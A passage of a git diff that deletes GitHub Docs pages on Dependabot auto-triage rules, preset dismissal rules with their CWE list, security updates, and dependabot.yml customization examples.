reusables.dependabot.custom-alert-rules-edit-rule %} -{% data reusables.dependabot.custom-alert-rules-delete-rule %} - -## Editing or deleting {% data variables.dependabot.custom_rules %} for your organization - -{% ifversion security-configurations %} You can edit or delete {% data variables.dependabot.custom_rules %} for all eligible repositories in your organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#creating-and-managing-dependabot-auto-triage-rules). - -{% else %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -{% data reusables.dependabot.navigate-to-org-level-dependabot-alert-rules %} -1. Under "Organization rules", to the right of the rule that you want to edit or delete, click {% octicon "pencil" aria-label="Edit custom rule" %}. -{% data reusables.dependabot.custom-alert-rules-edit-rule %} -{% data reusables.dependabot.custom-alert-rules-delete-rule %} - -{% endif %} diff --git a/content/code-security/dependabot/dependabot-auto-triage-rules/index.md b/content/code-security/dependabot/dependabot-auto-triage-rules/index.md deleted file mode 100644 index 8a7200672013..000000000000 --- a/content/code-security/dependabot/dependabot-auto-triage-rules/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Prioritizing Dependabot alerts with Dependabot auto-triage rules -shortTitle: Dependabot auto-triage rules -intro: 'You can use {% data variables.dependabot.auto_triage_rules %} to prioritize {% data variables.product.prodname_dependabot_alerts %}.' -allowTitleToDifferFromFilename: true -versions: - feature: dependabot-auto-triage-rules -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -children: - - /about-dependabot-auto-triage-rules - - /using-github-preset-rules-to-prioritize-dependabot-alerts - - /customizing-auto-triage-rules-to-prioritize-dependabot-alerts - - /managing-automatically-dismissed-alerts -redirect_from: - - /code-security/dependabot/dependabot-alert-rules ---- diff --git a/content/code-security/dependabot/dependabot-auto-triage-rules/managing-automatically-dismissed-alerts.md b/content/code-security/dependabot/dependabot-auto-triage-rules/managing-automatically-dismissed-alerts.md deleted file mode 100644 index 7fb8b4f86ffc..000000000000 --- a/content/code-security/dependabot/dependabot-auto-triage-rules/managing-automatically-dismissed-alerts.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Managing alerts that have been automatically dismissed by a Dependabot auto-triage rule -intro: 'You can filter to see which alerts have been auto-dismissed by a rule, and you can reopen dismissed alerts.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-auto-triage-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: Manage auto-dismissed alerts -redirect_from: - - /code-security/dependabot/dependabot-alert-rules/managing-automatically-dismissed-alerts ---- - -## Managing automatically dismissed alerts - -> [!NOTE] -> The {% data variables.product.prodname_dependabot_alerts %} page defaults to showing open alerts. To filter and view auto-dismissed alerts, you must first clear the `is:open` default filter from the view. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. To filter to see all closed alerts, click **{% octicon "check" aria-hidden="true" %} Closed**. Alternatively, use the `is:closed` filter query in the search bar. - - ![Screenshot of the "Dependabot Alerts" page. A button, labelled "Closed" is highlighted with an orange outline.](/assets/images/help/repository/dependabot-alerts-closed-tab.png) - -1. To see all auto-dismissed alerts, select **Closed as**, then in the dropdown menu, click **Auto-dismissed**. - - ![Screenshot of the "Dependabot Alerts" page. A button, labelled "Closed as" is highlighted with an orange outline.](/assets/images/help/repository/dependabot-alerts-closed-as.png) - -1. To reopen an auto-dismissed alert, to the left of the alert title, click the checkbox adjacent to the alert, then click **Reopen**. - - ![Screenshot of an alert title on the "Dependabot Alerts" page. To the left of the alert, a checkbox is highlighted in an orange outline.](/assets/images/help/repository/dependabot-reopen-closed-alert.png) diff --git a/content/code-security/dependabot/dependabot-auto-triage-rules/using-github-preset-rules-to-prioritize-dependabot-alerts.md b/content/code-security/dependabot/dependabot-auto-triage-rules/using-github-preset-rules-to-prioritize-dependabot-alerts.md deleted file mode 100644 index 1c7295aace7f..000000000000 --- a/content/code-security/dependabot/dependabot-auto-triage-rules/using-github-preset-rules-to-prioritize-dependabot-alerts.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Using GitHub preset rules to prioritize Dependabot alerts -intro: 'You can use {% data variables.dependabot.github_presets %}, which are rules curated by {% data variables.product.company_short %}, to auto-dismiss low impact development alerts for npm dependencies.' -permissions: '{% data reusables.permissions.dependabot-github-presets %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Vulnerabilities - - Repositories - - Dependencies -shortTitle: GitHub preset rules -redirect_from: - - /code-security/dependabot/dependabot-alert-rules/using-github-curated-alert-rules-to-prioritize-dependabot-alerts - - /code-security/dependabot/dependabot-auto-triage-rules/using-github-curated-default-rules-to-prioritize-dependabot-alerts ---- - -## About {% data variables.dependabot.github_presets %} - -The `Dismiss low impact issues for development-scoped dependencies` rule is a {% data variables.product.company_short %} preset that auto-dismisses certain types of vulnerabilities that are found in npm dependencies used in development. These alerts cover cases that feel like false alarms to most developers as the associated vulnerabilities: - -* Are unlikely to be exploitable in a developer (non-production or runtime) environment. -* May relate to resource management, programming and logic, and information disclosure issues. -* At worst, have limited effects like slow builds or long-running tests. -* Are not indicative of issues in production. - -> [!NOTE] -> Automatic dismissal of low impact development alerts is currently only supported for npm. - -The `Dismiss low impact issues for development-scoped dependencies` rule includes vulnerabilities relating to resource management, programming and logic, and information disclosure issues. For more information, see [Publicly disclosed CWEs used by the `Dismiss low impact issues for development-scoped dependencies` rule](#publicly-disclosed-cwes-used-by-the-dismiss-low-impact-issues-for-development-scoped-dependencies-rule). - -Filtering out these low impact alerts allows you to focus on alerts that matter to you, without having to worry about missing potentially high-risk development-scoped alerts. - -The `Dismiss low impact issues for development-scoped dependencies` rule is enabled by default on public repositories and disabled for private repositories. Administrators of private repositories can opt in by enabling the rule for their repository. - -## Enabling the `Dismiss low impact issues for development-scoped dependencies` rule for your private repository - -{% ifversion fpt or ghec %}You first need to enable {% data variables.product.prodname_dependabot_alerts %} for the repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts#managing-dependabot-alerts-for-your-repository).{% elsif ghes %}{% data variables.product.prodname_dependabot_alerts %} for your repository can be enabled or disabled by your enterprise owner. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.prodname_dependabot_alerts %}", click {% octicon "gear" aria-label="The Gear icon" %} close to "{% data variables.product.prodname_dependabot %} rules". - - ![Screenshot of the "{% data variables.product.UI_advanced_security %}" page for a repository. The gear icon is highlighted with an orange outline.](/assets/images/help/repository/dependabot-rules-page.png) - -1. Under "{% data variables.product.company_short %} presets", to the right of "Dismiss low impact issues for development-scoped dependencies", click {% octicon "pencil" aria-label="Edit rule" %}. -1. Under "State", select the dropdown menu, then click "Enabled". -1. Click **Save rule**. - -## Publicly disclosed CWEs used by the `Dismiss low impact issues for development-scoped dependencies` rule - -Along with the `ecosystem:npm` and `scope:development` alert metadata, we use the following {% data variables.product.company_short %}-curated Common Weakness Enumerations (CWEs) to filter out low impact alerts for the `Dismiss low impact issues for development-scoped dependencies` rule. We regularly improve this list and vulnerability patterns covered by built-in rules. - -### Resource Management Issues - -* CWE-400 Uncontrolled Resource Consumption -* CWE-770 Allocation of Resources Without Limits or Throttling -* CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) -* CWE-908 Use of Uninitialized Resource -* CWE-1333 Inefficient Regular Expression Complexity -* CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop') -* CWE-674 Uncontrolled Recursion -* CWE-1119 Excessive Use of Unconditional Branching - -### Programming and Logic Errors - -* CWE-185 Incorrect Regular Expression -* CWE-754 Improper Check for Unusual or Exceptional Conditions -* CWE-755 Improper Handling of Exceptional Conditions -* CWE-248 Uncaught Exception -* CWE-252 Unchecked Return Value -* CWE-391 Unchecked Error Condition -* CWE-696 Incorrect Behavior Order -* CWE-1254 Incorrect Comparison Logic Granularity -* CWE-665 Improper Initialization -* CWE-703 Improper Check or Handling of Exceptional Conditions -* CWE-178 Improper Handling of Case Sensitivity - -### Information Disclosure Issues - -* CWE-544 Missing Standardized Error Handling Mechanism -* CWE-377 Insecure Temporary File -* CWE-451 User Interface (UI) Misrepresentation of Critical Information -* CWE-668 Exposure of Resource to Wrong Sphere diff --git a/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md b/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md deleted file mode 100644 index ce833fbff10f..000000000000 --- a/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: About Dependabot security updates -intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.' -product: '{% data reusables.gated-features.dependabot-security-updates %}' -shortTitle: Dependabot security updates -redirect_from: - - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates - - /github/managing-security-vulnerabilities/about-dependabot-security-updates - - /code-security/supply-chain-security/about-dependabot-security-updates - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Dependabot - - Security updates - - Vulnerabilities - - Repositories - - Dependencies - - Pull requests ---- - -<!--Marketing-LINK: From /features/security/software-supply-chain page "About Dependabot security updates".--> - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot_security_updates %} - -{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. You typically add a `dependabot.yml` file to your repository to enable {% data variables.product.prodname_dependabot_security_updates %}. You then configure options in this file to tell {% data variables.product.prodname_dependabot %} how to maintain your repository. - -{% data reusables.dependabot.dependabot-updates-supported-repos-ecosystems %} - -If you enable {% data variables.product.prodname_dependabot_security_updates %}, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -> [!NOTE] -> There is no interaction between the settings specified in the `dependabot.yml` file and {% data variables.product.prodname_dependabot %} security alerts, other than the fact that alerts will be closed when related pull requests generated by {% data variables.product.prodname_dependabot %} for security updates are merged. - -{% data reusables.dependabot.dependabot-updates-signed-commits %} - -{% data reusables.dependabot.dependabot-security-updates-disable-for-alert-rules %} - -{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} - -{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors). - -The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#dependencies-included). - -> [!NOTE] -> For npm, {% data variables.product.prodname_dependabot %} will raise a pull request to update an explicitly defined dependency to a secure version, even if it means updating the parent dependency or dependencies, or even removing a sub-dependency that is no longer needed by the parent. For other ecosystems, {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency if it would also require an update to the parent dependency. For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors#dependabot-tries-to-update-dependencies-without-an-alert). - -You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). - -{% data reusables.dependabot.pull-request-security-vs-version-updates %} - -If you enable _{% data variables.product.prodname_dependabot_security_updates %}_, parts of the configuration may also affect pull requests created for _{% data variables.product.prodname_dependabot_version_updates %}_. This is because some configuration settings are common to both types of updates. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs). - -{% data reusables.dependabot.dependabot-updates-prs-and-actions %} - -{% ifversion dependabot-on-actions-opt-in %}{% data reusables.dependabot.dependabot-updates-and-actions %} For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners).{% endif %} - -{% data reusables.dependabot.dependabot-actions-support %} - -## About pull requests for security updates - -Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository. - -When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates). - -{% data reusables.dependabot.automated-tests-note %} - -{% ifversion dependabot-grouped-security-updates-config %} - -## About grouped security updates - -To further reduce the number of pull requests you may be seeing, you can enable grouped security updates to group sets of dependencies together (per package ecosystem). {% data variables.product.prodname_dependabot %} then raises a single pull request to update as many vulnerable dependencies as possible in the group to secure versions at the same time. - -For security updates, {% data variables.product.prodname_dependabot %} will only group dependencies from different directories per ecosystem under certain conditions and configurations. {% data variables.product.prodname_dependabot %} **will not** group dependencies from different package ecosystems together, and it **will not** group security updates with version updates. - -{% data reusables.dependabot.dependabot-grouped-security-updates-how-enable %} -{% data reusables.dependabot.dependabot-grouped-security-updates-order %} - - For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#grouping-dependabot-updates-into-a-single-pull-request). - -{% endif %} - -{% ifversion fpt or ghec %} - -## About compatibility scores - -{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency. - -{% endif %} - -## About automatic deactivation of {% data variables.product.prodname_dependabot_updates %} - -{% data reusables.dependabot.automatic-deactivation-link %} - -## About notifications for {% data variables.product.prodname_dependabot %} security updates - -You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#dependabot-custom-filters). diff --git a/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md b/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md deleted file mode 100644 index d6175f79e71b..000000000000 --- a/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Configuring Dependabot security updates -intro: 'You can use {% data variables.product.prodname_dependabot_security_updates %} or manual pull requests to easily update vulnerable dependencies.' -shortTitle: Configure security updates -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -redirect_from: - - /articles/configuring-automated-security-fixes - - /github/managing-security-vulnerabilities/configuring-automated-security-fixes - - /github/managing-security-vulnerabilities/configuring-automated-security-updates - - /github/managing-security-vulnerabilities/configuring-github-dependabot-security-updates - - /github/managing-security-vulnerabilities/configuring-dependabot-security-updates - - /code-security/supply-chain-security/configuring-dependabot-security-updates - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Alerts - - Dependencies - - Pull requests - - Repositories ---- -<!--Marketing-LINK: From home page "Learn more about Dependabot".--> - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About configuring {% data variables.product.prodname_dependabot_security_updates %} - -You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository{% ifversion code-security-multi-repo-enablement %}, for a selection of repositories in an organization,{% endif %} or for all repositories owned by your personal account or organization. For more information about enabling security features in an organization, see {% ifversion security-configurations %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization).{% else %}[AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-organization).{% endif %} - -{% data reusables.dependabot.dependabot-security-updates-disable-for-alert-rules %} - -{% ifversion fpt or ghec %}{% data reusables.dependabot.dependabot-tos %}{% endif %} - -## Supported repositories - -{% data variables.product.prodname_dotcom %} automatically enables {% data variables.product.prodname_dependabot_security_updates %} for newly created repositories if your personal account or organization has enabled **Automatically enable for new repositories** for {% data variables.product.prodname_dependabot_security_updates %}. For more information, see [Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories). - -If you create a fork of a repository that has security updates enabled, {% data variables.product.prodname_dotcom %} will automatically disable {% data variables.product.prodname_dependabot_security_updates %} for the fork. You can then decide whether to enable {% data variables.product.prodname_dependabot_security_updates %} on the specific fork. - -If security updates are not enabled for your repository and you don't know why, first try enabling them using the instructions given in the procedural sections below. If security updates are still not working, you can contact {% data variables.contact.contact_support %}. - -## Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories - -You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all qualifying repositories owned by your personal account or organization. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account) or [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository. - -### Enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for an individual repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "{% data variables.product.prodname_dependabot %} security updates", click **Enable** to enable the feature or **Disable** to disable it. {% ifversion fpt or ghec %}For public repositories, the button is disabled if the feature is always enabled.{% endif %} - -{% ifversion dependabot-grouped-security-updates-config %} - -## Grouping {% data variables.product.prodname_dependabot_security_updates %} into a single pull request - -To reduce the number of pull requests you may be seeing, you can enable grouped security updates for your repository or organization. When this is enabled, {% data variables.product.prodname_dependabot %} will group security updates into one pull request for each package ecosystem. In order to use grouped security updates, you must first enable the following features: - -* **Dependency graph**. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph). -* **{% data variables.product.prodname_dependabot_alerts %}**. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts). -* **{% data variables.product.prodname_dependabot_security_updates %}**. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -> [!NOTE] -> When grouped security updates are first enabled, {% data variables.product.prodname_dependabot %} will immediately try to create grouped pull requests. You may notice {% data variables.product.prodname_dependabot %} closing old pull requests and opening new ones. - -{% data reusables.dependabot.dependabot-grouped-security-updates-how-enable %} -{% data reusables.dependabot.dependabot-grouped-security-updates-order %} - -### Enabling or disabling grouped {% data variables.product.prodname_dependabot_security_updates %} for an individual repository - -Repository administrators can enable or disable grouped security updates for their repository. Changing the repository setting will override any default organization settings. {% data reusables.dependabot.dependabot-grouped-security-updates-yaml-override %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "Grouped security updates", click **Enable** to enable the feature or **Disable** to disable it. - -### Enabling or disabling grouped {% data variables.product.prodname_dependabot_security_updates %} for an organization - -{% ifversion security-configurations %} You can enable grouped {% data variables.product.prodname_dependabot_security_updates %} into a single pull request. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#grouping-dependabot-security-updates). - -{% else %} - -Organization owners can enable or disable grouped security updates for all repositories in their organization. However, repository administrators within the organization can update the settings for their repositories to override the default organization settings. {% data reusables.dependabot.dependabot-grouped-security-updates-yaml-override %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "Grouped security updates", click **Disable all** or **Enable all**. -1. Optionally, to enable grouped {% data variables.product.prodname_dependabot_security_updates %} for new repositories in your organization, select **Automatically enable for new repositories**. - -{% endif %} -{% endif %} - -## Overriding the default behavior with a configuration file - -You can override the default behavior of {% data variables.product.prodname_dependabot_security_updates %} by adding a `dependabot.yml` file to your repository. {% ifversion dependabot-grouped-security-updates-config %}With a `dependabot.yml` file, you can have more granular control of grouping, and override the default behavior of {% data variables.product.prodname_dependabot_security_updates %} settings.{% endif %} - -{% ifversion dependabot-grouped-security-updates-config %} -Use the `groups` option with the `applies-to: security-updates` key to create sets of dependencies (per package manager), so that {% data variables.product.prodname_dependabot %} opens a single pull request to update multiple dependencies at the same time. You can define groups by package name (the `patterns` and `exclude-patterns` keys), dependency type (`dependency-type` key), and SemVer (the `update-types` key). - -{% data reusables.dependabot.dependabot-version-updates-groups-match-first %} -{% endif %} - -If you only require _security_ updates and want to exclude _version_ updates, you can set `open-pull-requests-limit` to `0` in order to prevent version updates for a given `package-ecosystem`. - -For more information about the configuration options available for security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs). - -```yaml copy -# Example configuration file that: -# - Has a private registry -# - Ignores lodash dependency -# - Disables version-updates -{% ifversion dependabot-grouped-security-updates-config %}# - Defines a group by package name, for security updates for golang dependencies{%- endif %} - -version: 2 -registries: - example: - type: npm-registry - url: https://example.com - token: {% raw %}${{secrets.NPM_TOKEN}}{% endraw %} -updates: - - package-ecosystem: "npm" - directory: "/src/npm-project" - schedule: - interval: "daily" - # For Lodash, ignore all updates - ignore: - - dependency-name: "lodash" - # Disable version updates for npm dependencies - open-pull-requests-limit: 0 - registries: - - example - {% ifversion dependabot-grouped-security-updates-config %}- package-ecosystem: "gomod" - groups: - golang: - applies-to: security-updates - patterns: - - "golang.org*"{% endif %} -``` - -> [!NOTE] -> In order for {% data variables.product.prodname_dependabot %} to use this configuration for security updates, the `directory` must be the path to the manifest files, and you should not specify a `target-branch`. - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems) diff --git a/content/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs.md b/content/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs.md deleted file mode 100644 index 480575000840..000000000000 --- a/content/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: Customizing pull requests for Dependabot security updates -intro: 'Learn how to customize Dependabot pull requests for security updates to align with your project''s security priorities and workflows.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Customize Dependabot PRs ---- - -## About customizing pull requests for security updates - -You can customize how {% data variables.product.prodname_dependabot %} raises pull requests for security updates, so that they best fit your project's security priorities and processes. For example: -* **Optimize {% data variables.product.prodname_dependabot %} pull requests to prioritize meaningful updates** by grouping multiple updates into a single pull request. -* Applying custom labels to **integrate {% data variables.product.prodname_dependabot %}'s pull requests** into your existing workflows. - -Similar to version updates, customization options for security updates are defined in the `dependabot.yml` file. If you have already customized the `dependabot.yml` for version updates, then many of the configuration options that you have defined could automatically apply to security updates, too. However, there's a couple of important points to note: -* {% data variables.product.prodname_dependabot_security_updates %} are **always triggered by a security advisory**, rather than running according to the `schedule` you have set in the `dependabot.yml` for version updates. -* {% data variables.product.prodname_dependabot %} raises pull requests for security updates against the **default branch only**. If your configuration sets a value for `target-branch`, then the customization for that package ecosystem will only apply to version updates by default. - -If you haven't yet configured a `dependabot.yml` file for your repository and you want to customize pull requests for security updates, you must first: -* Check in a `dependabot.yml` file into the `.github` directory of your repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). -* Set all the required keys. For more information, see [Required keys](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#required-keys). -* If you want the customization for a package ecosystem to **only apply to security updates** (and exclude version updates), set the `open-pull-requests-limit` key to `0`. - -You can then consider what your needs and priorities are for security updates, and apply a combination of the customization options outlined below. - -{% ifversion dependabot-grouped-security-updates-config %} - -## Prioritizing meaningful updates - -To create a more **targeted review process** that prioritizes meaningful updates, use `groups` to combine security updates for multiple dependencies into a single pull request. - -For detailed guidance, see [Prioritizing meaningful updates](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates#prioritizing-meaningful-updates). - -{% endif %} - -## Automatically adding reviewers and assignees - -To ensure your project's security updates get **addressed promptly** by the appropriate team, use `reviewers` and `assignees` to automatically add individuals or teams as **reviewers or assignees** to pull requests. - -For detailed guidance, see [Automatically adding reviewers and assignees](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs#automatically-adding-reviewers-and-assignees). - -## Labeling pull requests with custom labels - -To **prioritize** specific pull requests, or integrate them into CI/CD pipelines, use `labels` to apply your own **custom labels** to each pull request. - -For detailed guidance, see [Labeling pull requests with custom labels](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs#labeling-pull-requests-with-custom-labels). - -## Adding a prefix to commit messages - -To **integrate** with automations that process commit messages or pull requests titles, use `commit-message` to specify the prefix that you want for commit messages and pull request titles. - -For detailed guidance, see [Adding a prefix to commit messages](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs#adding-a-prefix-to-commit-messages). - -## Associating pull requests with a milestone - -To **track progress** towards a project goal or release, use `milestone` to associate {% data variables.product.prodname_dependabot %}'s pull requests with a milestone. - -For detailed guidance, see [Associating pull requests with a milestone](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs#associating-pull-requests-with-a-milestone). - -## Changing the separator in the pull request branch name - -To ensure your **branch names align** with your team's existing conventions, use `pull-request-branch-name.separator` to specify the separator you want {% data variables.product.prodname_dependabot %} to use for branch names. - -For detailed guidance, see [Changing the separator in the pull request branch name](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs#changing-the-separator-in-the-pull-request-branch-name). - -## Example 1: configuration for security updates only - -In this example, the `dependabot.yml` file: -* Uses a private registry for updates to npm dependencies. -* Disables version updates for dependencies, so that any customizations apply to security updates only. -* Is customized so that {% data variables.product.prodname_dependabot %} applies custom labels to the pull requests and automatically adds reviewers and assignees.{% ifversion dependabot-grouped-security-updates-config %} -* Groups security updates for golang dependencies into a single pull request.{% endif %} - -```yaml copy -# Example configuration file that: -# - Uses a private registry for npm updates -# - Ignores lodash dependency -# - Disables version-updates -# - Applies custom labels -# - Adds reviewers and assignees -{% ifversion dependabot-grouped-security-updates-config %}# - Group security updates for golang dependencies into a single pull request{%- endif %} - -version: 2 -registries: - # Define a private npm registry with the name `example` - example: - type: npm-registry - url: https://example.com - token: {% raw %}${{secrets.NPM_TOKEN}}{% endraw %} -updates: - - package-ecosystem: "npm" - directory: "/src/npm-project" - schedule: - interval: "daily" - # For Lodash, ignore all updates - ignore: - - dependency-name: "lodash" - # Disable version updates for npm dependencies - open-pull-requests-limit: 0 - registries: - # Ask Dependabot to use the private registry for npm - - example - # Raise all npm pull requests for security updates with custom labels - labels: - - "npm dependencies" - - "triage-board" - # Raise all npm pull requests for security updates with reviewers - reviewers: - - "my-org/team-name" - - "octocat" - # Raise all npm pull requests for security updates with assignees - assignees: - - "user-name" - {% ifversion dependabot-grouped-security-updates-config %}- package-ecosystem: "gomod" - groups: - # Group security updates for golang dependencies - # into a single pull request - golang: - applies-to: security-updates - patterns: - - "golang.org*"{% endif %} -``` - -## Example 2: configuration for version updates and security updates - -In this example, the `dependabot.yml` file: -* Is customized so that {% data variables.product.prodname_dependabot %} adds reviewers and custom labels to both version updates and security updates.{% ifversion dependabot-grouped-security-updates-config %} -* Uses the `groups` customization option to create two groups ("`angular`" and "`production-dependencies`") in order to group multiple updates into single pull requests. -* Specifies that the `groups` customization for `angular` applies to security updates only. -* Specifies that the `groups` customization for `production-dependencies` applies to version updates only.{% endif %} - -```yaml copy -version: 2 